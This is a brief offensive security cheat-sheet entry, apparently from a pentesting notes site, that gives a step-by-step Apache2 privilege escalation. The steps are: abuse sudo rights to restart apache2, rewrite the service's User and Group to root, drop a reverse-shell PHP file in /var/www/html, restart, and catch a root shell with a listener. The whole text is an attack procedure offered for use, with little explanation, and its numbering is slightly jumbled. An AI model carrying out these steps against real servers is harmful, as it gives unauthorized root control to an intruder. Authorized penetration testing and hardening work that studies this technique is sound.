Apache2 Privilege Escalation
Requirements: User can restart the apache2 server as root.
sudo /bin/systemctl restart apache21) Check for misconfigurations on apache configuration files
/etc/apache2/apache.conf2) If you have write access on the file, change the name and group of the user that runs the apache service to root (or any other legitimate user).
# These need to be set in /etc/apache2/envars
User root
Group root3) Upload a reverse shell to activate it as the user we changed on the config file upon restarting.
/var/www/html/reverse-shell.php3) Restart apache
sudo /bin/systemctl restart apache24) Setup listener
5) Get your shell
Last updated